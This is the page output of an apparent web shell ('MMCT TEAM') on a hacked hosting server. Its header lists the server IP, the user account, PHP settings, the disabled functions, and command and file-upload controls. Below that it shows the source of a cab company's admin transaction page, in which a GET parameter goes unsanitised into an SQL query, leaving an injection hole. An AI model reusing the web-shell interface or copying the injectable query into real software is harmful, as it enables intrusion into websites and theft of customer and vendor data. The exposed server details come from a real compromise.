MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 18.218.129.191
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/transaction_log.php
<?php
require_once 'header.php';
require_once 'navbar.php';

if (isset($_GET['id'])) {
	$id = $_GET['id'];
	$sql = "select t.*,vendor.full_name,vendor.company_name,v.contact,v.email from transaction_log as t,vendor_profile as vendor,vendor_login as v where t.vendor_id=v.id and v.id=vendor.vendor_id and v.id='$id' order by txnId desc";
} else {
	$sql = "select t.*,vendor.full_name,vendor.company_name,v.contact,v.email from transaction_log as t,vendor_profile as vendor,vendor_login as v where t.vendor_id=v.id and v.id=vendor.vendor_id order by txnId desc";
}

$result = $conn->query($sql);

if ($result->num_rows > 0) {
	// output data of each row
	while ($row = $result->fetch_assoc()) {
		$table_data[] = $row;
	}
}
//print_r($table_data);


?>

<head>
	<meta charset="utf-8">
	<meta content="width=device-width, initial-scale=1, shrink-to-fit=no" name="viewport">
	<meta content="Fully Responsive Bootstrap 4 Admin Dashboard Template" name="description">
	<meta content="Spruko" name="author">

	<!-- Title -->
	<title> Ats trip admin</title>

	<!-- Favicon -->
	<link href="assets/img/brand/favicon.png" rel="icon" type="image/png">

	<!-- Fonts -->
	<link href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800" rel="stylesheet">

	<!-- Icons -->
	<link href="assets/css/icons.css" rel="stylesheet">

	<!--Bootstrap.min css-->
	<link rel="stylesheet" href="assets/plugins/bootstrap/css/bootstrap.min.css">

	<!-- Adon CSS -->
	<link href="assets/css/dashboard.css" rel="stylesheet" type="text/css">

	<!-- Data table css -->
	<link href="assets/plugins/datatable/dataTables.bootstrap4.min.css" rel="stylesheet" />
	<link href="assets/plugins/datatable/responsivebootstrap4.min.css" rel="stylesheet" />

	<link href="assets/plugins/customscroll/jquery.mCustomScrollbar.css" rel="stylesheet" />

	<!-- Sidemenu Css -->
	<link href="assets/plugins/toggle-sidebar/css/sidemenu.css" rel="stylesheet">

</head>
<style>
	#example3_paginate {
		float: left;
	}
</style>
<!-- Page content -->
<div class="container-fluid pt-8">


	<div class="card shadow">
		<div class="card-header">
			<h2 class="mb-0">Transaction Records</h2>
		</div>
		<div class="card-body">
			<?php
			if (isset($table_data)) {
			?>
				<div class="table-responsive">
					<table id="example" class="table table-striped table-bordered text-nowrap">
						<thead>
							<tr>
								<th class="wd-15p">S.No</th>
								<?php if (!isset($_GET['id'])) { ?>
									<th class="wd-15p">View</th>
								<?php } ?>
								<th class="wd-15p">Name</th>
								<th class="wd-20p">Company Name</th>
								<th class="wd-10p">Contact</th>
								<th class="wd-10p">Amount</th>
								<th class="wd-10p">Type</th>
								<th class="wd-10p">Message</th>
								<th class="wd-10p">Action</th>
								<th class="wd-10p">Remark</th>
								<th class="wd-10p">Date Time</th>
							</tr>
						</thead>
						<tbody>
							<?php
							$x = 1;
							foreach ($table_data as $hh) {

							?>
								<tr>
									<td><?= $x; ?></td><?php if (!isset($_GET['id'])) { ?>
										<td><a href="transaction_log?id=<?= $hh['vendor_id']; ?>" class="badge badge-dark btn-sm text-white" target="_blank"><i class="fa fa-eye"></i></a></td>
									<?php } ?>
									<td><a style="color: #656565!important; " href="edit_vendor?token=<?= $hh['vendor_id']; ?>"><?= $hh['full_name'] ?></a></td>
									<td><?= $hh['company_name']; ?></td>
									<td><?= $hh['contact']; ?></td>
									<td><?= $hh['amount']; ?></td>
									<td><?= $hh['txn_type']; ?></td>
									<td>
										<?php
										if ($hh['txn_type'] == 'Credit' || $hh['txn_type'] == 'credit') {
											$new_balance = $hh['wallet_amount'] + $hh['amount'];
											echo 'Old Balance: Rs.' . $hh['wallet_amount'] . ' | New Balance: Rs.' . $new_balance;
										} elseif ($hh['txn_type'] == 'Debit' || $hh['txn_type'] == 'debit') {
											$new_balance = $hh['wallet_amount'] - $hh['amount'];
											echo 'Old Balance: Rs.' . $hh['wallet_amount'] . ' | New Balance: Rs.' . $new_balance;
										}
										?>
									</td>
									<td><?= $hh['action']; ?></td>
									<td><?= $hh['remark']; ?></td>
									<td><?= $hh['time']; ?></td>
								</tr>
							<?php
								$x++;
							}

							?>
						</tbody>
					</table>
				</div>
			<?php
			} else {
				echo "<h2>No Record Found.</h2>";
			}
			?>
		</div>
	</div>



</div>
</div>

<!--Add Modal To Display-->
<div class="modal fade" id="confirm" style="z-index:99999999">
	<div class="modal-dialog">
		<div class="modal-content">
			<div class="card-header">
				<button type="button" class="close" data-dismiss="modal" aria-label="Close">
					<span aria-hidden="true">&times;</span>
				</button>
				<div class="alert alert-danger" id="error" style="display:none">Error! Your Request could not be submited.</div>

				<h4 style="text-align: left">Take Your Action</h4>
				<div class="col-md-6 float-right" id="alert"></div>
			</div>
			<form method="post" id="add_vendor">
				<div class="modal-body">
					<div class="row" id="pass" style="display:none">
						<form method="post">
							<div class="col-md-8">
								<label>Add Remark :</label><input type="text" class="form-control" name="remark" required>
								<input type="hidden" name="booking_id" id="booking_id2" required>
							</div>
							<div class="col-md-4">
								<button type="submit" name="request" id="pass_id" class="btn btn-primary">Add</button>
							</div>
						</form>
					</div>

				</div>
				<div class="modal-footer">
					<br>
					<button type="button" class="btn btn-default pull-left" data-dismiss="modal">Close</button>

				</div>
			</form>
		</div>
		<!-- /.modal-content -->
	</div>
	<!-- /.modal-dialog -->
</div>
<?php
require_once 'footer.php';
//require_once 'jslinks.php';
?>

<!-- Adon Scripts -->
<!-- Core -->
<script src="assets/plugins/jquery/dist/jquery.min.js"></script>
<script src="assets/js/popper.js"></script>
<script src="assets/plugins/bootstrap/js/bootstrap.min.js"></script>

<!-- Optional JS -->
<script src="assets/plugins/chart.js/dist/Chart.min.js"></script>
<script src="assets/plugins/chart.js/dist/Chart.extension.js"></script>

<!-- Data tables -->
<script src="assets/plugins/datatable/jquery.dataTables.min.js"></script>
<script src="assets/plugins/datatable/dataTables.bootstrap4.min.js"></script>
<script src="assets/plugins/datatable/dataTables.responsive.min.js"></script>
<script src="assets/plugins/datatable/responsive.bootstrap4.min.js"></script>

<!-- Fullside-menu Js-->
<script src="assets/plugins/toggle-sidebar/js/sidemenu.js"></script>

<!-- Custom scroll bar Js-->
<script src="assets/plugins/customscroll/jquery.mCustomScrollbar.concat.min.js"></script>

<?php include('datatable.php');?>
<script src="assets/js/custom.js"></script>
<script src="assets/js/datatable.js"></script>

</script>

MMCT - 2023